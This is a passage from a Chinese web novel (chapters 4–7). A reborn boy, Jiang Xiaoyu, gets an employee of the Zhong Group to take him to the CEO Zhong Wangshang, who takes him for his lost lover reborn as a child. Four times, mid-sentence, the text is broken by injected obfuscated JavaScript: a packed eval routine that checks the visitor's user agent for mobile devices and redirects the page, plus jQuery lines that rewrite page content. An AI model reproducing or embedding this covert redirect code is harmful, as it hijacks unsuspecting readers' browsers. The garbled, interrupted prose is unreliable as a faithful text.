王守成跟公司请了假,经理很大方地批了假。 王小虎高兴地亲了王守成脸颊一下:“谢谢爸爸。” 看着乖巧懂事的儿子,王守成握紧了拳头,心想,大不了被辞退后他去送外卖,总能养活这一家子的。 4. 第 4 章 江舒淮给江小鱼背好书包,再次不放心地嘱托他:“乖乖的,绝对不可以乱跑。” “我知道的,爸爸。”江小鱼话说得乖得不能再乖,实际上心里想着,看看还能不能遇到别的钟氏集团旗下的超市,好去那里去看看能不能碰得上钟忘熵。 “麻烦老师们了。”江舒淮把江小鱼抱到校车上,向老师们道。 “客气了,小鱼爸爸。” 江小鱼和江舒淮挥手,校车渐渐驶走。 今天是周六,博物馆里人很多。 幼儿园老师带着一群小豆丁们,给他们介绍这里的文物,可惜小豆丁们年纪太小,没什么愿意听的,反而叽叽喳喳的,互相说着什么。 然后在老师的一句“小朋友们安静”后,齐齐安静下来。 江小鱼走着走着,看了眼旁边的人,又看了一眼。 他想起来,这是他上辈子最好的朋友林小路,但现在他们好像还没说过话。 看着江小鱼一直在看自己,林小路没忍住扭头问他:“你为什么一直看我?” 江小鱼神秘兮兮:“我知道你的所有事情。” 林小路:“我不信。” 江小鱼一一列举:“你喜欢吃巧克力,冰淇淋,棒棒糖,但你的牙已经蛀了好几颗了,所以你爸爸妈妈都不让你再吃了。” 林小路惊讶的长大了嘴巴:“你怎么知道的” 江小鱼:“我什么都知道,我还知道你经常在被窝里偷偷吃薯片,半夜偷偷看电视,还喜欢邻居家的小猫咪小白。” 这下林小路彻底服了,因为江小鱼全部说中了:“你好厉害啊!” 江小鱼得意洋洋:“既然我这么厉害,那你认我做大哥,好不好?我叫江小鱼。” 林小路差点就要点头答应了,又很快反应过来:“可是我妈妈说了,岁数大的才可以做哥哥,我们要看一看谁大,才能决定谁是大哥。” 江小鱼不说话了,因为林小路的生日就比他大一天,就因为这一天,他要喊林小路大哥,他不服。 很快,江小鱼想到了什么:“肯定是我大,我今年已经七岁了。” 林小路一脸的不相信。 也是这时候,讲解员跟他们互动:“小朋友们,知不知道这个字念什么?” 江小鱼立马举手:“唐。” 讲解员:“真棒,回答正确,就是唐朝的唐,奖励你一朵小红花,麻烦老师发一下。” 江小鱼伸手,让老师把小红花贴到他的手背上。 江小鱼美滋滋的,想着等会儿回家以后要给爸爸看小红花,接下来答题更积极了。 比别人多上了三年学的江小鱼,认识的字自然比其他小朋友多很多,也一连拿了好多小红花。 小朋友们看着一连几个问题都回答正确的江小鱼,目光中都是惊叹。 连老师都忍不住夸道:“小鱼真棒!” 江小鱼得意洋洋,那当然了,他可都是小学二年级的学生了! 江小鱼手被贴满小红花后,就不再回答问题了,转而问林小路:“现在你信了吧。” 江小鱼这么厉害,岁数肯定很大了,林小路彻底信了:“大哥。” 讲解员:“前面就是甲骨文了,有人知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16643381|188162||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 甲骨文是什么吗?” 江小鱼没举手,讲解员却主动点了他。 江小鱼想了想:“是在骨头上写的文字。” “对啦,”讲解员继续讲,“甲骨文是出现在……” 另一边,王守成几次心不在焉,但还是强制把思绪拉了回来,他好不容易陪儿子出门,可不能再想别的了。 王守成作为理工男,对许多文物也只是一知半解,他大部分都是按照博物馆上介绍讲给儿子听,王小虎眼睛亮亮的:“爸爸,你好厉害。” 儿子的夸奖让王守成都不好意思了。 知道儿子这次过来是为了看甲骨文,王守成顺着指引,带着儿子往甲骨文馆走去。 过去之后他们发现,前面有一堆小孩,年龄不大,看样子是幼儿园的小朋友,应该学校集体组织的活动。 等这群小孩们全部涌到了前面后,王守成才拉着儿子进入到甲骨文馆内。 关于甲骨文,王守成昨晚已经做了一些资料收集,讲得流畅许多,还引申了很多内容。 他口齿清晰,声音温和,为此还吸引了不少人停下来听他的讲解。 连给幼儿园小朋友讲解的讲解员,都悄悄的冲同学们比了个“嘘”的手势,示意小朋友们可以一起听一听。 王守成讲解完以后,拿起杯子喝了口水。 一低头,王守成对上了一个白嫩圆润,唇红齿白,五官精致得跟洋娃娃似的小孩。 这小孩有点眼熟。 等下,这小孩好像跟照片上钟总的白月光长得一模一样。 小孩……也可以当替身吧? 5. 第 5 章 看着江小鱼身上的衣服,王守成问道:“你是阳光幼儿园的学生吗?” 江小鱼昨天才刚被江舒淮科普过,不能跟陌生人随便搭话,眼前这个叔叔弯着腰,笑得非常不正常,江小鱼警惕地闭着嘴,没有说一句话。 正好老师招呼他们集合,要去下一处了,江小鱼便快速跑到队伍中间。 王守成伸着尔康手,想挽留,却找不到借口。 王小虎顺着爸爸的视线看去,突然很激动,指着一位幼儿园带队老师:“爸爸,那是李老师。” 王守成之所以能够认出这是阳光幼儿园的学生,就因为王小虎的幼儿园也是在阳光幼儿园,眼下听见儿子这么说,王守成立马抱着儿子跟了上去。 接下来的行程,阳光幼儿园的小朋友们往哪里走,王守成就抱着儿子往哪里走。 王小虎忍不住问:“爸爸,你怎么突然这么高兴了?” 王守成狠狠亲了王小虎一口:“儿子,你可真是爸的福星,这个博物馆来的可太值了。” 王小虎挠了挠脑袋,不明所以,但被爸爸夸了,还是很开心。 很快,有老师发觉出不对来:“李老师,后面有一个游客,一直在看我们。” 老师们瞬时都警惕起来,这年头,所有小孩都金贵的很,他们既然把孩子带出来了,就一定要保证孩子们的安全,不能出一点意外。 直到有李老师看了好几眼,才认出来:“那不是刚才讲解甲骨文的那位大哥嘛,我记得他是王小虎的爸爸,王小虎,你们还记得吗?去年刚从咱们幼儿园毕业的学生,哎,那大哥怀里抱着的,不就是王小虎嘛。” 老师们这才松了口气,不过王守成一直跟着他们的行为过于奇怪了,李老师上前和王守成交涉,问他们一直跟着的原因。 王守成在随便找个理由和实话实说之间,选择了后者,他指了指江小鱼:“我想找一下那个小朋友。” 李老师:“小虎爸爸,你们认识吗,你找他是要做什么吗?” “不认识。”但王守成也不好意思说,他想让小孩当替身的话,只道:“我就是想跟他说几句话。” 李老师义正言辞:“不行的,小虎爸爸,如果没有正当理由,我们幼儿园是不会让他跟你说话的,我们需要保护幼儿园每个小孩子,还希望您能谅解一下。” “我懂,我懂,我就是有点要紧事,要跟他商量,要是幼儿园这边不方便的话,可以帮忙问一下他的家长吗?最好可以给个联系方式,我想和他家长聊一聊。”王守成真诚道。 江小鱼不知道什么过来了,躲在老师身后,看着这位怪叔叔:“叔叔,你为什么想要认识我?” 王守成:“因为你和一个人长得很像。” 长得像? 对于外貌方面,江小鱼最骄傲的就是他跟江舒淮长得很像,任何一个见到过父子俩的人,都这么说,现在眼前这个怪叔叔这么说,莫非是他见过自己爸爸? 就在江小鱼思考着这位怪叔叔和爸爸是什么关系的时候,王守成拿出手机,调出照片来,弯腰放在江小鱼面前:“你看看,你和这个人是不是长得一模一样。” 江小鱼瞪大了眼睛,其中一个是是他爸爸。 另一个人竟然是钟忘熵,钟总! 王守成是特意弯下腰,手机正对着江小鱼的,李老师并没有看到上面的画面。 不然李老师肯定能认出来,照片上这位王守成以为不在人世的白月光,就是江小鱼的爸爸。 “老师,”江小鱼突然抬头,“我想和他说几句话。” 李老师:“行,你说吧。” 江小鱼讨好的笑了笑:“老师,我想单独和这位叔叔说话。” 王守成眼睛亮了,他也想单独和这小孩说话。 李老师回头看了眼,其他小朋友都聚集在一起,安安静静地听着讲解员讲解,思索片刻,李老师答应了:“小鱼,你可以单独跟他说话,但是老师要在你们附近看着,不能太远。” 在江小鱼答应后,李老师往后退了些,大概离江小鱼两米的距离。 王守成也拍了拍王小虎:“你先去李老师那里,爸爸马上就去找你。” 江小鱼冲着王守成:“我们可以小声说话,这样老师听不见。” 王守成嘴角没忍住抽了一下,江小鱼看似压低了声音,实际上是那种刻意压低,但气声很大的声音,他敢肯定李老师能够听得见。 不过小孩子搞不清楚这些很正常,王守成蹲下身来,一时间不知道怎么开口,便率先自曝家门:“我是钟氏集团的员工,这是我的工作证,你可以看看。” 王守成今天虽然请了假,但到底心里还惦记着公司的事情,本来打算带儿子逛完博物馆,就回去上班,所以随身携带着工作证。 江小鱼眼睛瞬间亮了,他本来还想问对方认不认识钟忘熵,没想到对方就是钟氏集团的员工,江小鱼一脸严肃,翻来覆去地看王守成的工作牌,可惜也没看出什么名堂来。 他还给对方,假装看出来了,“哦”了一声,然后问:“那你认识钟忘熵,钟总吗?” 王守成:“当然认识了,那是我老板,我前几天还刚跟他见过面。” 王守成反应过来:“你是怎么知道钟总的,莫非你也认识钟总?” 江小鱼摇了摇头:“我看电视的时候看到的。” 王守成想起,昨天钟总有一个直播,昨天一天,他们员工的聊天群里,消息一直99+,就是在讨论这件事,而讨论原因,自然是因为钟忘熵被采访时全程一言不发的独特作风。 既然对方知道钟总,那这事儿就好办了,王守成问:“你想见钟总吗?我能带你见到钟总。” 江小鱼当然想了,但警惕又聪明的江小鱼,觉得眼前这位叔叔有点奇怪,好像是骗小孩:“我怎么知道你有没有骗我?你怎么证明你和钟总认识?”毕竟工作牌江小鱼看不懂。 王守成想了想,找出一张他刚入职公司聚餐时的大合照,这也是这么多年,他唯一一张和钟总的合照。 虽然里面钟忘熵臭着一张脸,没什么表情。 “这个是我,这个是钟总。”王守成指着大合照中的俩人给江小鱼看。 江小鱼认得钟忘熵,确定人没错,但王守成指着那个高高瘦瘦,头发浓密的人说自己时,江小鱼怀疑了。 他看了看王守成的头顶,又看了看照片里的人的头顶。 王守成不好意思地摸了摸头:“这年头,大公司里的员工都这样。”钟氏集团待遇在行业内算订好的了,他们工资相当高,福利待遇非常好,同样的压力也相当大,上六休一是基本准则,像今天周六,他出来陪儿子还需要请假,要不然王守成的头发也不会越来越少。 江小鱼终于信了:“那你要怎么带我去见他?” 目的不谋而合了,王守成那是相当愿意,但是他也不敢就这么把小孩子带走,这不成拐卖儿童了嘛。 王守成问道:“你有你家长的联系方式吗?这事我得跟你家长说一下。” 江小鱼怎么可能把这件事情告诉江舒淮,江舒淮很明显是不愿意让他跟钟忘熵有联系,他要是让爸爸知道了,爸爸肯定会阻止的。 这是独属于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16643382|188162||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 江小鱼的计划。 江小鱼思索片刻:“叔叔,要不你告诉我钟总在哪里,我自己去找他。” 这哪行,王守成还指着对方在钟总面前替他说好话,好让他保住工作的,王守成摇了摇头:“叔叔带你去也不是白带你去的,到时候你要帮叔叔在钟总面前说好话的,所以叔叔不能告诉你。” 江小鱼有些犹豫,最后道:“叔叔,你不用联系我爸爸的,我可以自己做主。” “不可以,”王守成这下坚定起来了,“你是小孩子,自己做不了主,叔叔还是想联系一下你爸爸。” 江小鱼皱着眉头:“我爸爸知道了,肯定不会让我见钟总的。” 王守成:“为什么?” “因为,因为我爸爸和钟总有仇。”江小鱼情急之下撒了个慌。 眼看着李老师要走过来,王守成知道不能再聊了,他看到江小鱼的手腕上,灵机一动,指了指他的小天才手表:“加个好友吧。” 王守成拿着儿子的小天才电话手表和江小鱼的碰了碰,成功加上好友。 王守成指了指手表,示意他们后面联系,江小鱼猛点了几下头。 他就要靠这位叔叔找到钟总了。 回家之后,江舒淮看着江小鱼满手的小红花,很是惊喜:“我们家小鱼这么棒啊!” 江小鱼得意地挺了挺小胸膛,看似毫不在意,实在嘴角都快要咧到后脑勺了。 另一边,江小鱼死活不愿意让家长的态度,让王守成不得不想其他办法,他左思右想,想起公司最近在开拓幼儿市场,许多玩具堆积在公司里,那正好可以找一个小孩体验官,来公司做这些玩具测评。 他去找阳光幼儿园合作,这样就可以邀请江小鱼来公司了。 王守成觉得自己这个主意棒极了,加班加点的开始忙写方案。 同时,他在手表上告诉了江小鱼自己的计划。 江小鱼虽然懵懵懂懂不知道他在说什么,但王守成说,这件事情是和幼儿园一起联合策划的,幼儿园老师也会在场,他便放下了心来。 王守城这边敲定好了,告诉江小鱼:“下周二,刚好钟总在公司,这天我会邀请你来公司当体验官。” 江小鱼摁住语音键,发了条语音,声音奶声奶气的:“我知道了,叔叔。” 王守成:“考虑到你爸爸对钟氏集团的顾忌,我们这边会以集团子公司的名义发出邀请。” 江小鱼:“好。” 江小鱼想,大人们可真厉害,他也要快点变大。 江舒淮被幼儿园老师询问要不要让孩子去当体验官时,下意识地想要拒绝,他知道他们家江小鱼长得好看,小时候就被不少星探问过,要不要去当童模,江舒淮都拒绝了,他开着甜品店,并不缺钱,也不很想孩子过早暴露在聚光灯下。 但这个活动,是幼儿园组织的,江舒淮想了想,决定问问江小鱼的意见。 江小鱼显然很乐意:“我想去,我特别特别想去,爸爸。” 江舒淮只能更详细地问了一些细节,得知只是单纯体验,专门记录玩玩具的感受,不出镜,不拍摄,没有其他乱七八糟的之后,江舒淮才点头同意。 江舒淮答复老师后,转头:“到时候爸爸陪你一起去。” 爸爸去了不就露馅了,江小鱼急忙道:“不用了爸爸,我知道店里很忙的,我自己可以的。” 江舒淮笑了:“小鱼现在好贴心。” 江小鱼“嘿嘿”笑了笑:“因为现在小鱼已经是男子汉了,可以保护爸爸了。” “好吧。”江舒淮决定尊重孩子意见。 6. 第 6 章 江舒淮把江小鱼送到老师手上:“有什么事情,记得第一时间给爸爸打电话。” 江小鱼:“我知道了,爸爸。” 一路上,江小鱼十分激动,他终于要把另一个爸爸认回来了! 不知道钟总这位爸爸,肯不肯相信自己是他的儿子? 他要怎么做,才让能在不涉及爸爸的情况下,证明自己是钟总儿子呢? 之后他又要怎么做,才能让钟总不见到爸爸的情况下,帮他们解决掉仇人呢? 年幼的江小鱼,每次想到这些问题时,感觉脑子都快撑破了。 小鱼可真是太难了! “欢迎阳光幼儿园的小体验官们,希望这次能给你们留下愉快的回忆,等结束的时候,叔叔会送你们一些礼物哦。”王守成作为这次活动负责人,十分真诚的道。 “谢谢,祝咱们合作愉快。”幼儿园老师笑道。 “合作愉快,”王守成说完,拿出一架飞机模型来,递给江小鱼,“小鱼,这是叔叔提前送你的礼物。” 老师惊讶:“你们认识?” 江小鱼立马道:“老师,这是王叔叔。” 老师点了点头,懂了,难怪鼎鼎大名的钟氏集团会找他们合作,原来是有熟人。 老师瞬间放心了不少,江小鱼和王守成则交换了一个眼神。 在王守成的带领下,老师带着小朋友们,进入到了公司的玩具室。 一进去,小朋友们就跟进入了快乐家园似的,每一个玩具对他们来说都好有吸引力。 钟氏集团一个员工带着一个孩子,实时记录小朋友们玩玩具的体验。 江小鱼拿着一个遥控汽车,玩得非常开心,直到王守成轻咳一声,江小鱼才想起正事来:“老师,我想去厕所。” 老师刚想问厕所在那里,王守成主动道:“老师,我带他去吧。” 老师想起这是熟人:“那麻烦你了。” 王守成:“不麻烦,都是我们应该做的。” 路上,王守成看了眼表:“咱们最好控制在二十分钟之内,不然你们老师可能会起疑。” 江小鱼郑重的点了点头。 王守成这个时候才想起来:“我好像还没问过,小鱼,你找钟总干什么?” 江小鱼聪明反问:“那你带我来见钟总干什么?” 王守成没说“白月光替身”那套,而是用小孩子能听懂的话术,道:“钟总有个特别特别喜欢的人,可惜不在了,你长得跟钟总喜欢的人特别像,所以我就想着带你来见见钟总,让钟总开心一点。” 江小鱼瞬间就猜到了,钟忘熵那个特别特别喜欢的人就是他爸爸。 “我想见钟总就是……”江小鱼绞尽脑汁,也想不出好的理由来,最后只能延续上次的话说,“我就是特别崇拜钟总,他好厉害,我想见见他。” 王守成:“就当是你见偶像了。” 江小鱼猛猛点头,上辈子钟忘熵帮他和爸爸报仇了,就是他的偶像。 董事长办公室门口,王守成给江小鱼比了个加油的手势:“叔叔的工作就靠你了。” 江小鱼握紧了小拳头:“我知道了,叔叔,我一定会在钟总面前给你说好话的。” 办公室里,钟忘熵悠闲的将腿翘在桌子上,任由电话响个不停,也一个都没有接。 他不用看,也知道这电话是谁打来的,肯定是他姑姑一家。 就在前几天,他那个表弟陆商易约他出去吃饭,说给他准备了惊喜。 钟忘熵无聊至极,也就去了,没想到对方约的地点在酒吧。 钟忘熵想走,却发现他的几个好友也来了,便干脆坐下来。 就在钟忘熵无聊的喝了好几杯,发现酒精都没办法麻痹他的时候,陆商易突然招呼进来一个人。 包间门被推开,在酒吧暗沉的灯光中,一个清瘦的男人进来,这人明显被刻意调教过,远远看去,有几分江舒淮的影子。 所有人都倒吸了一口凉气,有种不详的预感。 陆商易得意地看着着钟忘熵:“表哥,这人可是我好不容易找来的,大学生,纯着呢,你看他像谁?” 钟忘熵扭头看了陆商易一眼,陆商易急忙摆手:“不用客气,哥,你记得弟弟的好就行。” 其他人都是钟忘熵的好友,见状用看蠢货的表情看着陆商易,默默地坐远了些,他们知道,陆商易今天没好果子吃了。 很快,陆商易也意识到不对劲,因为钟忘熵的表情太不太对劲。 下一秒,钟忘熵拿起酒瓶来,手一倒,全部的酒淋在了陆商易头上:“老子给你脸了是吧,你个傻逼玩意,故意带着这种货色来我面前晃悠,恶心我呢?” “不是,表哥,”陆商易一边躲一边解释,“你看他跟江舒淮多像。” 钟忘熵怒火从心头烧起:“你有什么资格提他的名字,还有,这个满脸科技一眼假的脏东西,凭什么跟我的舒淮像。” 钟忘熵越说越生气,一口揣在了陆商易胸口上,随手招呼两个服务生过来:“给他洗洗嘴,别让他再说这些恶心的话了。” 陆商易急忙求饶:“哥,哥,我是你弟,亲表弟。” 钟忘熵就跟没听见似的,服务生也不知道钟忘熵这个“洗嘴”要怎么洗,便干脆倒上一杯杯烈酒,让陆商易漱口。 陆商易不停的用酒漱口,都快要吐了。 而那位被陆商易找来的人,见陆商易被整成了这样,更是吓得一动都不敢动。 钟忘熵离他老远,问他:“在哪里整的容?” 对方小声回答:“在,在H国。” 钟忘熵扭头看向自己一位好友:“天颂,帮我盯着他点,一个星期内,让他原来的脸整回来,不然的话……” “我,我立马整回原来的样子。”对方立马道,他也看出来这包间里谁说话最有分量了,没忍住在心里骂了陆商易几句。 钟忘熵临走之前,踹翻了这里的茶几,指了指陆商易。 陆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16643383|188162||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 商易自看见钟忘熵发怒后,就全程心惊胆战的,没想到钟忘熵就让他漱了个口,这事就这么轻易的就掀过去了,陆商易全程有种不真实的感觉。 钟忘熵一走,他的那些朋友也就都走了。 一个心软的,临走前没忍住跟陆商易道:“你快点跟你表哥好好道个歉,求他早点原谅你吧,不然……” 陆商易当时不觉得有什么,觉得钟忘熵已经出气了。但很快,陆商易就意识到自己太天真了。 陆商易在酒吧收拾了一个小时才回到,他回家后,看到的场景却是:十几个男人围着他妈,十几个女人围着他爸,而这男人和女人都有一个共同的特点,跟他爸和他妈的白月光都特别相似。 陆商易倒吸一口冷气,还没吐出来,又来十几个男男女女,把陆商易围住,而这十几个男男女女,毫无疑问,和陆商易的初恋长得特别像。 陆商易一瞬间头皮发麻,钟忘熵从哪里弄出来这么多玩意儿的? 看着不断靠近的男男女女,陆商易只能发出绝望的呐喊:“你们不要过来啊!” * 直到现在,钟忘熵想起来那天的事情,还觉得恶心。 恶心! 恶心至极! 陆商易找的那个人已经整回原本的模样了,但每每想起,钟忘熵还是有一种吃的苍蝇的感觉! 钟忘熵想,要是再有人敢拿“替身”这种事情来恶心他,他一定饶不了对方。 就在钟忘熵咬牙切齿的时候,门被敲了敲。 门外,王守成很紧张,江小鱼更紧张。 俩人彼此对视一眼,互相加油打气。 钟忘熵语气没什么起伏:“进。” 王守成手抖着打开门,已经在家排练过许久的话,在此刻磕磕绊绊地讲出来:“钟总,我给您找到了一个非常像的替身,您看看,是不是跟你白月光一模一样?” 江小鱼惊讶抬头,什么替身?什么白月光? 王守成说的话他好像听不懂。 钟忘熵猛地坐起来,眼中带着怒火,好啊,又有人敢在他头上拉屎。 待看清楚这是前不久他才训过的那个员工时,钟忘熵火气更盛,拍桌而起:“大胆狂徒,你这是在羞辱我的白月光,我看你是想去非洲挖煤……” 还没说完,钟忘熵看清楚了下属带过来的人,竟然是一个小孩。 而这个小孩,长了张和江舒淮一模一样的脸,可以说,完全就是江舒淮等比例缩小版。 钟忘熵有一瞬间的恍惚。 王守成此刻内心只有一种声音:完了,完了。原来钟总对替身这么抵触,那他这次可算是踩到钟总雷点上了,钟总会不会现在就要被开除了?他的新房!他的老婆!他的儿子!他的父母!以后要怎么办呢? 下一秒钟忘熵再次拍桌:“胡说,这就是我的白月光,他变成小孩来找我了。” 在江小鱼和王守成惊讶的目光中,钟忘熵淡定的又补充了一句:“就是胖了点。” 7. 第 7 章 江小鱼什么还没来得及说,就猛地听见这种言论,他疑惑的抬头,看着钟忘熵,这不对吧? 到底什么是白月光?谁变成小孩来找他了? 还有,自己一点也不胖! 爸爸说了,他这是婴儿肥! 就在江小鱼磨牙的时候,钟忘熵已经大步走到了江小鱼面前,蹲下来,眼睛亮亮的。 江小鱼想说,我是你儿子,可不是你白月光变小孩,但现在王守成在旁边,江小鱼先没说俩人的父子关系,而是试图讲道理,他板着小脸,试图告诉钟忘熵:“人,是没办法死而复生和变小的。” 这个常识他都知道,钟忘熵竟然不知道? 钟忘熵轻蔑一笑:“有丝分裂,上过生物课本的,不懂?” 有丝分裂这是什么东西? 江小鱼眨巴着懵懂无知,还没被知识浸染过的大眼睛,摇了摇头。 还有,生物是什么?江小鱼只学过语文和数学。 钟忘熵立马给江小鱼讲解了一番:“有丝分裂就是一个人分裂成两个人的一种方式,它可以完全复制一个人,分裂出一个小孩来,分裂出来的小孩和原本的人一模一样。”说这话的时候,钟忘熵就盯着江小鱼看,显然十分满意。 上辈子最高学历是小学二年级的江小鱼:“真的假的?” 正经本科毕业的王守成,嘴角没忍住抽了好几下。 看来钟总确实病得不轻,在人身上能用上有丝分裂这种真核细胞的概念。 钟忘熵点头:“千真万确,所以你就是舒淮死而复生,有丝分裂变成小孩子了。” 江小鱼很快清醒过来,江舒淮是他爸爸。 所以,钟忘熵以为爸爸死了? 见江小鱼还是不太相信的样子,钟忘熵拿出更有说服力的说法,用小孩子能听懂的方式,又讲了一遍自己的歪理。 钟忘熵自信的样子,成功的把江小鱼给搞懵了,尽管知道钟忘熵是认错人了,但现在他也难免怀疑起来,他到底是爸爸和这位钟总的孩子?还是爸爸有丝分裂把他分裂出来的? 江小鱼最终选择保持了一丝怀疑的态度。 钟忘熵在没人反驳他后,新奇地打量着江小鱼,围着他转来转去,都快把江小鱼转晕了。 钟忘熵摸着下巴,虽然他确定眼前这个小孩是江舒淮重生加转世加有丝分裂了,但是他对着这个小孩,怎么没有以前对待江舒淮的感觉呢? 难道是因为对方现在还是小孩。 这样就说得通了! 钟忘熵很快就想明白了,对待小孩就要有对小孩的态度,他不能用以前看爱人的视角了,钟忘熵坐在沙发上,大手一挥:“过来,让我看看。” 江小鱼有种不祥的预感,但又不知道是什么,只能小心往过走去。 他想,上辈子钟忘熵可是替他和爸爸报仇了,钟忘熵是好人,肯定不会害他的! 江小鱼刚过去,就被钟忘熵掐住了脸蛋。 钟忘熵手劲挺大,江小鱼脸上笑容瞬间没有了,他立马拍下了钟忘熵的手:“疼。” 钟忘熵手松开后,看着江小鱼的脸蛋,没忍住来了一句:“脸皮厚了。” 果然,变成小孩后,很多地方都不一样了。 江小鱼瞪大了眼睛,哪有! 第一次见面就这样说小孩,这个钟总真的很没礼貌! 钟忘熵却心情很好:“你跟我讲讲,你是怎么死而复生和变成小孩的?” 怎么死而复生变成小孩了? 江小鱼刚想说不知道,又猛地反应过来,他就是重生的啊,这个话题江小鱼有发言权,他现在有时候还会觉得后脑勺有些疼。 脑中滚过很多场景,江小鱼说出来的话却只有:“死了就变成小孩了。” 说了跟没说没区别,但钟忘熵还是肯定地点了点头:“原来是这样。” 王守成听到这一大一小的的对话,彻底傻了眼,是他疯了,还是这个世界疯了? 钟总不是脑子有问题吗?这小孩怎么能跟的上钟总的脑回路的?俩人还聊起来了? 钟忘熵似乎有些可惜:“怎么变成现在这么小了?” 江小鱼仿佛找到了知心好友:“我也觉得变小之后特别不方便。” 钟忘熵想了想:“等我让实验室研究研究,看看有没有什么能让你变大的药。” “还有这种好东西,”江小鱼眼睛亮了,“那就麻烦钟总了,我想早点用上,早点长大。” 早点变大,早点保护爸爸。 两个人驴头不对马嘴的讲了许多,钟忘熵突然道:“你不用叫我钟总。” 江小鱼歪头:“那我叫你什么?” 钟忘熵摸了摸下巴:“你现在这个年纪,应该叫我爸爸。” 江小鱼瞪大了眼睛,一时间都怀疑钟忘熵是不是知道什么了? 因为钟忘熵就是他爸爸啊! 但他一进门,钟忘熵就给他安了新身份,他是爸爸的有丝分裂版,导致现在江小鱼都不知道怎么跟对方说。 不过,他要是认下了这个身份,就可以在不牵扯爸爸的条件下,找钟忘熵帮忙了,好像也不错。 下一秒,钟忘熵又摇了摇头:“你变小之前是我的爱人,让你叫我爸爸不太合适,这样吧,你就小时候叫我爸爸,之后能变大了,再换称呼吧。” 江小鱼嘴角抽了一下,这是什么奇怪的说法。 他现在代表的可是江舒淮,他最亲爱的爸爸,他怎么可以允许他的爸爸叫别人爸爸呢! 江小鱼摇了摇头。 钟忘熵喃喃自语:“以前我就想当你爸爸,但你一直不肯,现在变小了,怎么还是不肯?” 江小鱼眉头皱在一起,爸爸和钟总之前是这样的相处模式? 叫爸爸?好奇怪! 不过他要是非常想听的话,自己叫声爸爸也不是不可以。 这都什么跟什么呀!王守成脑子都要大了,他是给钟总找替身的,不是把白月光给钟总找回来了! 死而复生和有丝分裂这种事情,怎么会这么合理又自然的让两个人全部都相信了,这都什么跟什么事儿啊! 别哪天钟总突然醒悟,发现这小孩不是白月光死而复生后,还要怪他,那他可就更惨了! 王守成刚想说什么,就听到钟忘熵道:“等会儿带你去吃好吃的,你之前最爱的那家。” 江小鱼这才想起来自己是来干什么的,在他的计划中,今天能够见到钟忘熵,让钟忘熵认回他这个儿子就已经够了。 而被认成爸爸的有丝分裂版,虽然听上去有些奇怪,但他的目的达到了。 等到他和钟忘熵更熟悉之后,他就可以想办法,让钟忘熵解决掉那些想要害他和爸爸的人。 所以现在,江小鱼拒绝了:“不去吃饭了,等会儿我就要走了,我以后还能再来找你吗?” 钟忘熵脸色沉下来:“你为什么要走,为什么不能天天和我在一起?你是不是走了又不会回来了?”说到最后一句话的时候,钟忘熵猛地站了起来。 江小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16643384|188162||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鱼却好像没有感觉到钟忘熵的愤怒似的,掰着他的手指头,给他讲道理:“我还有自己的事情要忙,我不能天天来的,也不能天天陪着你呀,不过我之后肯定还会来找你的。” “你有什么事情要忙?”钟忘熵冷冷地问他。 江小鱼:“我……我还要上幼儿园。” 钟忘熵突然看了一眼王守成:“你去给我建一个幼儿园,然后把他给我挖过来。” 王守成指着自己:“啊?” 钟忘熵点了点头:“这件事办成,上次的事情就一笔勾销了,以后长点脑子,狗都吃得肚子饱了,你晃晃脑袋才觉得里边有点空?” 江小鱼本来还担心以后没机会和钟忘熵见面了,没想到他这么好的方法都想出来了。 江小鱼看了一眼时间:“我要回去了,不然等会老师要担心了。” 钟忘熵拉住江小鱼的小手,有些不想放对方走:“你不会一走,又消失不见了吧?” “当然不会,”江小鱼拍着小胸脯给钟忘熵保证,“我以后肯定会经常来找你玩的,你放心。” 钟忘熵本来快要溢出来的占有欲瞬间没了,他挥挥手:“你走吧。” 果然,爱人变成小孩以后,他就会不自觉的用对待小孩的方式对待他。 但还是有一点没有改变,他愿意尊重对方的意愿。 “我真的要走了。”江小鱼晃了晃手,钟忘熵还在牵着他的小手。 钟忘熵终于不舍得松开手。 江小鱼挥挥手:“再见,我马上就会再来找你玩的。” 